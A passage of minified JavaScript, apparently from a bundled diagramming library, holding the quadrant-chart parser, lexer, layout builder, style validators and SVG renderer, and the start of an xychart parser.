input":"'"+(this.terminals_[bt]||bt)+"'"),this.parseError(Ct,{text:Ue.match,token:this.terminals_[bt]||bt,line:Ue.yylineno,loc:vt,expected:_r})}if(ft[0]instanceof Array&&ft.length>1)throw new Error("Parse Error: multiple actions possible at state: "+yt+", token: "+bt);switch(ft[0]){case 1:le.push(bt),ve.push(Ue.yytext),ye.push(Ue.yylloc),le.push(ft[1]),bt=null,wt?(bt=wt,wt=null):(Ke=Ue.yyleng,_e=Ue.yytext,ze=Ue.yylineno,vt=Ue.yylloc,xt>0&&xt--);break;case 2:if(cr=this.productions_[ft[1]][1],bn.$=ve[ve.length-cr],bn._$={first_line:ye[ye.length-(cr||1)].first_line,last_line:ye[ye.length-1].last_line,first_column:ye[ye.length-(cr||1)].first_column,last_column:ye[ye.length-1].last_column},Lt&&(bn._$.range=[ye[ye.length-(cr||1)].range[0],ye[ye.length-1].range[1]]),_t=this.performAction.apply(bn,[_e,Ke,ze,lt.yy,ft[1],ve,ye].concat(et)),typeof _t<"u")return _t;cr&&(le=le.slice(0,-1*cr*2),ve=ve.slice(0,-1*cr),ye=ye.slice(0,-1*cr)),le.push(this.productions_[ft[1]][0]),ve.push(bn.$),ye.push(bn._$),ar=Re[le[le.length-2]][le[le.length-1]],le.push(ar);break;case 3:return!0}}return!0},"parse")},xe=(function(){var he={EOF:1,parseError:o(function(se,le){if(this.yy.parser)this.yy.parser.parseError(se,le);else throw new Error(se)},"parseError"),setInput:o(function(z,se){return this.yy=se||this.yy||{},this._input=z,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var z=this._input[0];this.yytext+=z,this.yyleng++,this.offset++,this.match+=z,this.matched+=z;var se=z.match(/(?:\r\n?|\n).*/g);return se?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),z},"input"),unput:o(function(z){var se=z.length,le=z.split(/(?:\r\n?|\n)/g);this._input=z+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-se),this.offset-=se;var ke=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),le.length-1&&(this.yylineno-=le.length-1);var ve=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:le?(le.length===ke.length?this.yylloc.first_column:0)+ke[ke.length-le.length].length-le[0].length:this.yylloc.first_column-se},this.options.ranges&&(this.yylloc.range=[ve[0],ve[0]+this.yyleng-se]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(z){this.unput(this.match.slice(z))},"less"),pastInput:o(function(){var z=this.matched.substr(0,this.matched.length-this.match.length);return(z.length>20?"...":"")+z.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var z=this.match;return z.length<20&&(z+=this._input.substr(0,20-z.length)),(z.substr(0,20)+(z.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var z=this.pastInput(),se=new Array(z.length+1).join("-");return z+this.upcomingInput()+` +`+se+"^"},"showPosition"),test_match:o(function(z,se){var le,ke,ve;if(this.options.backtrack_lexer&&(ve={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(ve.yylloc.range=this.yylloc.range.slice(0))),ke=z[0].match(/(?:\r\n?|\n).*/g),ke&&(this.yylineno+=ke.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:ke?ke[ke.length-1].length-ke[ke.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+z[0].length},this.yytext+=z[0],this.match+=z[0],this.matches=z,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(z[0].length),this.matched+=z[0],le=this.performAction.call(this,this.yy,this,se,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),le)return le;if(this._backtrack){for(var ye in ve)this[ye]=ve[ye];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var z,se,le,ke;this._more||(this.yytext="",this.match="");for(var ve=this._currentRules(),ye=0;yese[0].length)){if(se=le,ke=ye,this.options.backtrack_lexer){if(z=this.test_match(le,ve[ye]),z!==!1)return z;if(this._backtrack){se=!1;continue}else return!1}else if(!this.options.flex)break}return se?(z=this.test_match(se,ve[ke]),z!==!1?z:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var se=this.next();return se||this.lex()},"lex"),begin:o(function(se){this.conditionStack.push(se)},"begin"),popState:o(function(){var se=this.conditionStack.length-1;return se>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(se){return se=this.conditionStack.length-1-Math.abs(se||0),se>=0?this.conditionStack[se]:"INITIAL"},"topState"),pushState:o(function(se){this.begin(se)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(se,le,ke,ve){var ye=ve;switch(ke){case 0:break;case 1:break;case 2:return 55;case 3:break;case 4:return this.begin("title"),35;break;case 5:return this.popState(),"title_value";break;case 6:return this.begin("acc_title"),37;break;case 7:return this.popState(),"acc_title_value";break;case 8:return this.begin("acc_descr"),39;break;case 9:return this.popState(),"acc_descr_value";break;case 10:this.begin("acc_descr_multiline");break;case 11:this.popState();break;case 12:return"acc_descr_multiline_value";case 13:return 48;case 14:return 50;case 15:return 49;case 16:return 51;case 17:return 52;case 18:return 53;case 19:return 54;case 20:return 25;case 21:this.begin("md_string");break;case 22:return"MD_STR";case 23:this.popState();break;case 24:this.begin("string");break;case 25:this.popState();break;case 26:return"STR";case 27:this.begin("class_name");break;case 28:return this.popState(),47;break;case 29:return this.begin("point_start"),44;break;case 30:return this.begin("point_x"),45;break;case 31:this.popState();break;case 32:this.popState(),this.begin("point_y");break;case 33:return this.popState(),46;break;case 34:return 28;case 35:return 4;case 36:return 11;case 37:return 64;case 38:return 10;case 39:return 65;case 40:return 65;case 41:return 14;case 42:return 13;case 43:return 67;case 44:return 66;case 45:return 12;case 46:return 8;case 47:return 5;case 48:return 18;case 49:return 56;case 50:return 63;case 51:return 57}},"anonymous"),rules:[/^(?:%%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n\r]+)/i,/^(?:%%[^\n]*)/i,/^(?:title\b)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?: *x-axis *)/i,/^(?: *y-axis *)/i,/^(?: *--+> *)/i,/^(?: *quadrant-1 *)/i,/^(?: *quadrant-2 *)/i,/^(?: *quadrant-3 *)/i,/^(?: *quadrant-4 *)/i,/^(?:classDef\b)/i,/^(?:["][`])/i,/^(?:[^`"]+)/i,/^(?:[`]["])/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?::::)/i,/^(?:^\w+)/i,/^(?:\s*:\s*\[\s*)/i,/^(?:(1)|(0(.\d+)?))/i,/^(?:\s*\] *)/i,/^(?:\s*,\s*)/i,/^(?:(1)|(0(.\d+)?))/i,/^(?: *quadrantChart *)/i,/^(?:[A-Za-z]+)/i,/^(?::)/i,/^(?:\+)/i,/^(?:,)/i,/^(?:=)/i,/^(?:=)/i,/^(?:\*)/i,/^(?:#)/i,/^(?:[\_])/i,/^(?:\.)/i,/^(?:&)/i,/^(?:-)/i,/^(?:[0-9]+)/i,/^(?:\s)/i,/^(?:;)/i,/^(?:[!"#$%&'*+,-.`?\\_/])/i,/^(?:$)/i],conditions:{class_name:{rules:[28],inclusive:!1},point_y:{rules:[33],inclusive:!1},point_x:{rules:[32],inclusive:!1},point_start:{rules:[30,31],inclusive:!1},acc_descr_multiline:{rules:[11,12],inclusive:!1},acc_descr:{rules:[9],inclusive:!1},acc_title:{rules:[7],inclusive:!1},title:{rules:[5],inclusive:!1},md_string:{rules:[22,23],inclusive:!1},string:{rules:[25,26],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,6,8,10,13,14,15,16,17,18,19,20,21,24,27,29,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],inclusive:!0}}};return he})();fe.lexer=xe;function W(){this.yy={}}return o(W,"Parser"),W.prototype=fe,fe.Parser=W,new W})();FF.parser=FF;O1e=FF});var Ts,V6,B1e=N(()=>{"use strict";yr();La();pt();Oy();Ts=mh(),V6=class{constructor(){this.classes=new Map;this.config=this.getDefaultConfig(),this.themeConfig=this.getDefaultThemeConfig(),this.data=this.getDefaultData()}static{o(this,"QuadrantBuilder")}getDefaultData(){return{titleText:"",quadrant1Text:"",quadrant2Text:"",quadrant3Text:"",quadrant4Text:"",xAxisLeftText:"",xAxisRightText:"",yAxisBottomText:"",yAxisTopText:"",points:[]}}getDefaultConfig(){return{showXAxis:!0,showYAxis:!0,showTitle:!0,chartHeight:ur.quadrantChart?.chartWidth||500,chartWidth:ur.quadrantChart?.chartHeight||500,titlePadding:ur.quadrantChart?.titlePadding||10,titleFontSize:ur.quadrantChart?.titleFontSize||20,quadrantPadding:ur.quadrantChart?.quadrantPadding||5,xAxisLabelPadding:ur.quadrantChart?.xAxisLabelPadding||5,yAxisLabelPadding:ur.quadrantChart?.yAxisLabelPadding||5,xAxisLabelFontSize:ur.quadrantChart?.xAxisLabelFontSize||16,yAxisLabelFontSize:ur.quadrantChart?.yAxisLabelFontSize||16,quadrantLabelFontSize:ur.quadrantChart?.quadrantLabelFontSize||16,quadrantTextTopPadding:ur.quadrantChart?.quadrantTextTopPadding||5,pointTextPadding:ur.quadrantChart?.pointTextPadding||5,pointLabelFontSize:ur.quadrantChart?.pointLabelFontSize||12,pointRadius:ur.quadrantChart?.pointRadius||5,xAxisPosition:ur.quadrantChart?.xAxisPosition||"top",yAxisPosition:ur.quadrantChart?.yAxisPosition||"left",quadrantInternalBorderStrokeWidth:ur.quadrantChart?.quadrantInternalBorderStrokeWidth||1,quadrantExternalBorderStrokeWidth:ur.quadrantChart?.quadrantExternalBorderStrokeWidth||2}}getDefaultThemeConfig(){return{quadrant1Fill:Ts.quadrant1Fill,quadrant2Fill:Ts.quadrant2Fill,quadrant3Fill:Ts.quadrant3Fill,quadrant4Fill:Ts.quadrant4Fill,quadrant1TextFill:Ts.quadrant1TextFill,quadrant2TextFill:Ts.quadrant2TextFill,quadrant3TextFill:Ts.quadrant3TextFill,quadrant4TextFill:Ts.quadrant4TextFill,quadrantPointFill:Ts.quadrantPointFill,quadrantPointTextFill:Ts.quadrantPointTextFill,quadrantXAxisTextFill:Ts.quadrantXAxisTextFill,quadrantYAxisTextFill:Ts.quadrantYAxisTextFill,quadrantTitleFill:Ts.quadrantTitleFill,quadrantInternalBorderStrokeFill:Ts.quadrantInternalBorderStrokeFill,quadrantExternalBorderStrokeFill:Ts.quadrantExternalBorderStrokeFill}}clear(){this.config=this.getDefaultConfig(),this.themeConfig=this.getDefaultThemeConfig(),this.data=this.getDefaultData(),this.classes=new Map,X.info("clear called")}setData(e){this.data={...this.data,...e}}addPoints(e){this.data.points=[...e,...this.data.points]}addClass(e,r){this.classes.set(e,r)}setConfig(e){X.trace("setConfig called with: ",e),this.config={...this.config,...e}}setThemeConfig(e){X.trace("setThemeConfig called with: ",e),this.themeConfig={...this.themeConfig,...e}}calculateSpace(e,r,n,i){let a=this.config.xAxisLabelPadding*2+this.config.xAxisLabelFontSize,s={top:e==="top"&&r?a:0,bottom:e==="bottom"&&r?a:0},l=this.config.yAxisLabelPadding*2+this.config.yAxisLabelFontSize,u={left:this.config.yAxisPosition==="left"&&n?l:0,right:this.config.yAxisPosition==="right"&&n?l:0},h=this.config.titleFontSize+this.config.titlePadding*2,f={top:i?h:0},d=this.config.quadrantPadding+u.left,p=this.config.quadrantPadding+s.top+f.top,m=this.config.chartWidth-this.config.quadrantPadding*2-u.left-u.right,g=this.config.chartHeight-this.config.quadrantPadding*2-s.top-s.bottom-f.top,y=m/2,v=g/2;return{xAxisSpace:s,yAxisSpace:u,titleSpace:f,quadrantSpace:{quadrantLeft:d,quadrantTop:p,quadrantWidth:m,quadrantHalfWidth:y,quadrantHeight:g,quadrantHalfHeight:v}}}getAxisLabels(e,r,n,i){let{quadrantSpace:a,titleSpace:s}=i,{quadrantHalfHeight:l,quadrantHeight:u,quadrantLeft:h,quadrantHalfWidth:f,quadrantTop:d,quadrantWidth:p}=a,m=!!this.data.xAxisRightText,g=!!this.data.yAxisTopText,y=[];return this.data.xAxisLeftText&&r&&y.push({text:this.data.xAxisLeftText,fill:this.themeConfig.quadrantXAxisTextFill,x:h+(m?f/2:0),y:e==="top"?this.config.xAxisLabelPadding+s.top:this.config.xAxisLabelPadding+d+u+this.config.quadrantPadding,fontSize:this.config.xAxisLabelFontSize,verticalPos:m?"center":"left",horizontalPos:"top",rotation:0}),this.data.xAxisRightText&&r&&y.push({text:this.data.xAxisRightText,fill:this.themeConfig.quadrantXAxisTextFill,x:h+f+(m?f/2:0),y:e==="top"?this.config.xAxisLabelPadding+s.top:this.config.xAxisLabelPadding+d+u+this.config.quadrantPadding,fontSize:this.config.xAxisLabelFontSize,verticalPos:m?"center":"left",horizontalPos:"top",rotation:0}),this.data.yAxisBottomText&&n&&y.push({text:this.data.yAxisBottomText,fill:this.themeConfig.quadrantYAxisTextFill,x:this.config.yAxisPosition==="left"?this.config.yAxisLabelPadding:this.config.yAxisLabelPadding+h+p+this.config.quadrantPadding,y:d+u-(g?l/2:0),fontSize:this.config.yAxisLabelFontSize,verticalPos:g?"center":"left",horizontalPos:"top",rotation:-90}),this.data.yAxisTopText&&n&&y.push({text:this.data.yAxisTopText,fill:this.themeConfig.quadrantYAxisTextFill,x:this.config.yAxisPosition==="left"?this.config.yAxisLabelPadding:this.config.yAxisLabelPadding+h+p+this.config.quadrantPadding,y:d+l-(g?l/2:0),fontSize:this.config.yAxisLabelFontSize,verticalPos:g?"center":"left",horizontalPos:"top",rotation:-90}),y}getQuadrants(e){let{quadrantSpace:r}=e,{quadrantHalfHeight:n,quadrantLeft:i,quadrantHalfWidth:a,quadrantTop:s}=r,l=[{text:{text:this.data.quadrant1Text,fill:this.themeConfig.quadrant1TextFill,x:0,y:0,fontSize:this.config.quadrantLabelFontSize,verticalPos:"center",horizontalPos:"middle",rotation:0},x:i+a,y:s,width:a,height:n,fill:this.themeConfig.quadrant1Fill},{text:{text:this.data.quadrant2Text,fill:this.themeConfig.quadrant2TextFill,x:0,y:0,fontSize:this.config.quadrantLabelFontSize,verticalPos:"center",horizontalPos:"middle",rotation:0},x:i,y:s,width:a,height:n,fill:this.themeConfig.quadrant2Fill},{text:{text:this.data.quadrant3Text,fill:this.themeConfig.quadrant3TextFill,x:0,y:0,fontSize:this.config.quadrantLabelFontSize,verticalPos:"center",horizontalPos:"middle",rotation:0},x:i,y:s+n,width:a,height:n,fill:this.themeConfig.quadrant3Fill},{text:{text:this.data.quadrant4Text,fill:this.themeConfig.quadrant4TextFill,x:0,y:0,fontSize:this.config.quadrantLabelFontSize,verticalPos:"center",horizontalPos:"middle",rotation:0},x:i+a,y:s+n,width:a,height:n,fill:this.themeConfig.quadrant4Fill}];for(let u of l)u.text.x=u.x+u.width/2,this.data.points.length===0?(u.text.y=u.y+u.height/2,u.text.horizontalPos="middle"):(u.text.y=u.y+this.config.quadrantTextTopPadding,u.text.horizontalPos="top");return l}getQuadrantPoints(e){let{quadrantSpace:r}=e,{quadrantHeight:n,quadrantLeft:i,quadrantTop:a,quadrantWidth:s}=r,l=Tl().domain([0,1]).range([i,s+i]),u=Tl().domain([0,1]).range([n+a,a]);return this.data.points.map(f=>{let d=this.classes.get(f.className);return d&&(f={...d,...f}),{x:l(f.x),y:u(f.y),fill:f.color??this.themeConfig.quadrantPointFill,radius:f.radius??this.config.pointRadius,text:{text:f.text,fill:this.themeConfig.quadrantPointTextFill,x:l(f.x),y:u(f.y)+this.config.pointTextPadding,verticalPos:"center",horizontalPos:"top",fontSize:this.config.pointLabelFontSize,rotation:0},strokeColor:f.strokeColor??this.themeConfig.quadrantPointFill,strokeWidth:f.strokeWidth??"0px"}})}getBorders(e){let r=this.config.quadrantExternalBorderStrokeWidth/2,{quadrantSpace:n}=e,{quadrantHalfHeight:i,quadrantHeight:a,quadrantLeft:s,quadrantHalfWidth:l,quadrantTop:u,quadrantWidth:h}=n;return[{strokeFill:this.themeConfig.quadrantExternalBorderStrokeFill,strokeWidth:this.config.quadrantExternalBorderStrokeWidth,x1:s-r,y1:u,x2:s+h+r,y2:u},{strokeFill:this.themeConfig.quadrantExternalBorderStrokeFill,strokeWidth:this.config.quadrantExternalBorderStrokeWidth,x1:s+h,y1:u+r,x2:s+h,y2:u+a-r},{strokeFill:this.themeConfig.quadrantExternalBorderStrokeFill,strokeWidth:this.config.quadrantExternalBorderStrokeWidth,x1:s-r,y1:u+a,x2:s+h+r,y2:u+a},{strokeFill:this.themeConfig.quadrantExternalBorderStrokeFill,strokeWidth:this.config.quadrantExternalBorderStrokeWidth,x1:s,y1:u+r,x2:s,y2:u+a-r},{strokeFill:this.themeConfig.quadrantInternalBorderStrokeFill,strokeWidth:this.config.quadrantInternalBorderStrokeWidth,x1:s+l,y1:u+r,x2:s+l,y2:u+a-r},{strokeFill:this.themeConfig.quadrantInternalBorderStrokeFill,strokeWidth:this.config.quadrantInternalBorderStrokeWidth,x1:s+r,y1:u+i,x2:s+h-r,y2:u+i}]}getTitle(e){if(e)return{text:this.data.titleText,fill:this.themeConfig.quadrantTitleFill,fontSize:this.config.titleFontSize,horizontalPos:"top",verticalPos:"center",rotation:0,y:this.config.titlePadding,x:this.config.chartWidth/2}}build(){let e=this.config.showXAxis&&!!(this.data.xAxisLeftText||this.data.xAxisRightText),r=this.config.showYAxis&&!!(this.data.yAxisTopText||this.data.yAxisBottomText),n=this.config.showTitle&&!!this.data.titleText,i=this.data.points.length>0?"bottom":this.config.xAxisPosition,a=this.calculateSpace(i,e,r,n);return{points:this.getQuadrantPoints(a),quadrants:this.getQuadrants(a),axisLabels:this.getAxisLabels(i,e,r,a),borderLines:this.getBorders(a),title:this.getTitle(n)}}}});function $F(t){return!/^#?([\dA-Fa-f]{6}|[\dA-Fa-f]{3})$/.test(t)}function F1e(t){return!/^\d+$/.test(t)}function $1e(t){return!/^\d+px$/.test(t)}var s0,z1e=N(()=>{"use strict";s0=class extends Error{static{o(this,"InvalidStyleError")}constructor(e,r,n){super(`value for ${e} ${r} is invalid, please use a valid ${n}`),this.name="InvalidStyleError"}};o($F,"validateHexCode");o(F1e,"validateNumber");o($1e,"validateSizeInPixels")});function sh(t){return sr(t.trim(),nZe)}function iZe(t){Ca.setData({quadrant1Text:sh(t.text)})}function aZe(t){Ca.setData({quadrant2Text:sh(t.text)})}function sZe(t){Ca.setData({quadrant3Text:sh(t.text)})}function oZe(t){Ca.setData({quadrant4Text:sh(t.text)})}function lZe(t){Ca.setData({xAxisLeftText:sh(t.text)})}function cZe(t){Ca.setData({xAxisRightText:sh(t.text)})}function uZe(t){Ca.setData({yAxisTopText:sh(t.text)})}function hZe(t){Ca.setData({yAxisBottomText:sh(t.text)})}function zF(t){let e={};for(let r of t){let[n,i]=r.trim().split(/\s*:\s*/);if(n==="radius"){if(F1e(i))throw new s0(n,i,"number");e.radius=parseInt(i)}else if(n==="color"){if($F(i))throw new s0(n,i,"hex code");e.color=i}else if(n==="stroke-color"){if($F(i))throw new s0(n,i,"hex code");e.strokeColor=i}else if(n==="stroke-width"){if($1e(i))throw new s0(n,i,"number of pixels (eg. 10px)");e.strokeWidth=i}else throw new Error(`style named ${n} is not supported.`)}return e}function fZe(t,e,r,n,i){let a=zF(i);Ca.addPoints([{x:r,y:n,text:sh(t.text),className:e,...a}])}function dZe(t,e){Ca.addClass(t,zF(e))}function pZe(t){Ca.setConfig({chartWidth:t})}function mZe(t){Ca.setConfig({chartHeight:t})}function gZe(){let t=ge(),{themeVariables:e,quadrantChart:r}=t;return r&&Ca.setConfig(r),Ca.setThemeConfig({quadrant1Fill:e.quadrant1Fill,quadrant2Fill:e.quadrant2Fill,quadrant3Fill:e.quadrant3Fill,quadrant4Fill:e.quadrant4Fill,quadrant1TextFill:e.quadrant1TextFill,quadrant2TextFill:e.quadrant2TextFill,quadrant3TextFill:e.quadrant3TextFill,quadrant4TextFill:e.quadrant4TextFill,quadrantPointFill:e.quadrantPointFill,quadrantPointTextFill:e.quadrantPointTextFill,quadrantXAxisTextFill:e.quadrantXAxisTextFill,quadrantYAxisTextFill:e.quadrantYAxisTextFill,quadrantExternalBorderStrokeFill:e.quadrantExternalBorderStrokeFill,quadrantInternalBorderStrokeFill:e.quadrantInternalBorderStrokeFill,quadrantTitleFill:e.quadrantTitleFill}),Ca.setData({titleText:Pr()}),Ca.build()}var nZe,Ca,yZe,G1e,V1e=N(()=>{"use strict";Xt();gr();ci();B1e();z1e();nZe=ge();o(sh,"textSanitizer");Ca=new V6;o(iZe,"setQuadrant1Text");o(aZe,"setQuadrant2Text");o(sZe,"setQuadrant3Text");o(oZe,"setQuadrant4Text");o(lZe,"setXAxisLeftText");o(cZe,"setXAxisRightText");o(uZe,"setYAxisTopText");o(hZe,"setYAxisBottomText");o(zF,"parseStyles");o(fZe,"addPoint");o(dZe,"addClass");o(pZe,"setWidth");o(mZe,"setHeight");o(gZe,"getQuadrantData");yZe=o(function(){Ca.clear(),Sr()},"clear"),G1e={setWidth:pZe,setHeight:mZe,setQuadrant1Text:iZe,setQuadrant2Text:aZe,setQuadrant3Text:sZe,setQuadrant4Text:oZe,setXAxisLeftText:lZe,setXAxisRightText:cZe,setYAxisTopText:uZe,setYAxisBottomText:hZe,parseStyles:zF,addPoint:fZe,addClass:dZe,getQuadrantData:gZe,clear:yZe,setAccTitle:Rr,getAccTitle:Mr,setDiagramTitle:$r,getDiagramTitle:Pr,getAccDescription:Or,setAccDescription:Ir}});var vZe,U1e,H1e=N(()=>{"use strict";yr();Xt();pt();Ei();vZe=o((t,e,r,n)=>{function i(C){return C==="top"?"hanging":"middle"}o(i,"getDominantBaseLine");function a(C){return C==="left"?"start":"middle"}o(a,"getTextAnchor");function s(C){return`translate(${C.x}, ${C.y}) rotate(${C.rotation||0})`}o(s,"getTransformation");let l=ge();X.debug(`Rendering quadrant chart +`+t);let u=l.securityLevel,h;u==="sandbox"&&(h=qe("#i"+e));let d=(u==="sandbox"?qe(h.nodes()[0].contentDocument.body):qe("body")).select(`[id="${e}"]`),p=d.append("g").attr("class","main"),m=l.quadrantChart?.chartWidth??500,g=l.quadrantChart?.chartHeight??500;mn(d,g,m,l.quadrantChart?.useMaxWidth??!0),d.attr("viewBox","0 0 "+m+" "+g),n.db.setHeight(g),n.db.setWidth(m);let y=n.db.getQuadrantData(),v=p.append("g").attr("class","quadrants"),x=p.append("g").attr("class","border"),b=p.append("g").attr("class","data-points"),T=p.append("g").attr("class","labels"),S=p.append("g").attr("class","title");y.title&&S.append("text").attr("x",0).attr("y",0).attr("fill",y.title.fill).attr("font-size",y.title.fontSize).attr("dominant-baseline",i(y.title.horizontalPos)).attr("text-anchor",a(y.title.verticalPos)).attr("transform",s(y.title)).text(y.title.text),y.borderLines&&x.selectAll("line").data(y.borderLines).enter().append("line").attr("x1",C=>C.x1).attr("y1",C=>C.y1).attr("x2",C=>C.x2).attr("y2",C=>C.y2).style("stroke",C=>C.strokeFill).style("stroke-width",C=>C.strokeWidth);let w=v.selectAll("g.quadrant").data(y.quadrants).enter().append("g").attr("class","quadrant");w.append("rect").attr("x",C=>C.x).attr("y",C=>C.y).attr("width",C=>C.width).attr("height",C=>C.height).attr("fill",C=>C.fill),w.append("text").attr("x",0).attr("y",0).attr("fill",C=>C.text.fill).attr("font-size",C=>C.text.fontSize).attr("dominant-baseline",C=>i(C.text.horizontalPos)).attr("text-anchor",C=>a(C.text.verticalPos)).attr("transform",C=>s(C.text)).text(C=>C.text.text),T.selectAll("g.label").data(y.axisLabels).enter().append("g").attr("class","label").append("text").attr("x",0).attr("y",0).text(C=>C.text).attr("fill",C=>C.fill).attr("font-size",C=>C.fontSize).attr("dominant-baseline",C=>i(C.horizontalPos)).attr("text-anchor",C=>a(C.verticalPos)).attr("transform",C=>s(C));let A=b.selectAll("g.data-point").data(y.points).enter().append("g").attr("class","data-point");A.append("circle").attr("cx",C=>C.x).attr("cy",C=>C.y).attr("r",C=>C.radius).attr("fill",C=>C.fill).attr("stroke",C=>C.strokeColor).attr("stroke-width",C=>C.strokeWidth),A.append("text").attr("x",0).attr("y",0).text(C=>C.text.text).attr("fill",C=>C.text.fill).attr("font-size",C=>C.text.fontSize).attr("dominant-baseline",C=>i(C.text.horizontalPos)).attr("text-anchor",C=>a(C.text.verticalPos)).attr("transform",C=>s(C.text))},"draw"),U1e={draw:vZe}});var q1e={};dr(q1e,{diagram:()=>xZe});var xZe,W1e=N(()=>{"use strict";P1e();V1e();H1e();xZe={parser:O1e,db:G1e,renderer:U1e,styles:o(()=>"","styles")}});var GF,j1e,K1e=N(()=>{"use strict";GF=(function(){var t=o(function(O,M,P,B){for(P=P||{},B=O.length;B--;P[O[B]]=M);return P},"o"),e=[1,10,12,14,16,18,19,21,23],r=[2,6],n=[1,3],i=[1,5],a=[1,6],s=[1,7],l=[1,5,10,12,14,16,18,19,21,23,34,35,36],u=[1,25],h=[1,26],f=[1,28],d=[1,29],p=[1,30],m=[1,31],g=[1,32],y=[1,33],v=[1,34],x=[1,35],b=[1,36],T=[1,37],S=[1,43],w=[1,42],k=[1,47],A=[1,50],C=[1,10,12,14,16,18,19,21,23,34,35,36],R=[1,10,12,14,16,18,19,21,23,24,26,27,28,34,35,36],I=[1,10,12,14,16,18,19,21,23,24,26,27,28,34,35,36,41,42,43,44,45,46,47,48,49,50],L=[1,64],E={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,eol:4,XYCHART:5,chartConfig:6,document:7,CHART_ORIENTATION:8,statement:9,title:10,text:11,X_AXIS:12,parseXAxis:13,Y_AXIS:14,parseYAxis:15,LINE:16,plotData:17,BAR:18,acc_title:19,acc_title_value:20,acc_descr:21,acc_descr_value:22,acc_descr_multiline_value:23,SQUARE_BRACES_START:24,commaSeparatedNumbers:25,SQUARE_BRACES_END:26,NUMBER_WITH_DECIMAL:27,COMMA:28,xAxisData:29,bandData:30,ARROW_DELIMITER:31,commaSeparatedTexts:32,yAxisData:33,NEWLINE:34,SEMI:35,EOF:36,alphaNum:37,STR:38,MD_STR:39,alphaNumToken:40,AMP:41,NUM:42,ALPHA:43,PLUS:44,EQUALS:45,MULT:46,DOT:47,BRKT:48,MINUS:49,UNDERSCORE:50,$accept:0,$end:1},terminals_:{2:"error",5:"XYCHART",8:"CHART_ORIENTATION",10:"title",12:"X_AXIS",14:"Y_AXIS",16:"LINE",18:"BAR",19:"acc_title",20:"acc_title_value",21:"acc_descr",22:"acc_descr_value",23:"acc_descr_multiline_value",24:"SQUARE_BRACES_START",26:"SQUARE_BRACES_END",27:"NUMBER_WITH_DECIMAL",28:"COMMA",31:"ARROW_DELIMITER",34:"NEWLINE",35:"SEMI",36:"EOF",38:"STR",39:"MD_STR",41:"AMP",42:"NUM",43:"ALPHA",44:"PLUS",45:"EQUALS",46:"MULT",47:"DOT",48:"BRKT",49:"MINUS",50:"UNDERSCORE"},productions_:[0,[3,2],[3,3],[3,2],[3,1],[6,1],[7,0],[7,2],[9,2],[9,2],[9,2],[9,2],[9,2],[9,3],[9,2],[9,3],[9,2],[9,2],[9,1],[17,3],[25,3],[25,1],[13,1],[13,2],[13,1],[29,1],[29,3],[30,3],[32,3],[32,1],[15,1],[15,2],[15,1],[33,3],[4,1],[4,1],[4,1],[11,1],[11,1],[11,1],[37,1],[37,2],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1],[40,1]],performAction:o(function(M,P,B,F,G,$,U){var j=$.length-1;switch(G){case 5:F.setOrientation($[j]);break;case 9:F.setDiagramTitle($[j].text.trim());break;case 12:F.setLineData({text:"",type:"text"},$[j]);break;case 13:F.setLineData($[j-1],$[j]);break;case 14:F.setBarData({text:"",type:"text"},$[j]);break;case 15:F.setBarData($[j-1],$[j]);break;case 16:this.$=$[j].trim(),F.setAccTitle(this.$);break;case 17:case 18:this.$=$[j].trim(),F.setAccDescription(this.$);break;case 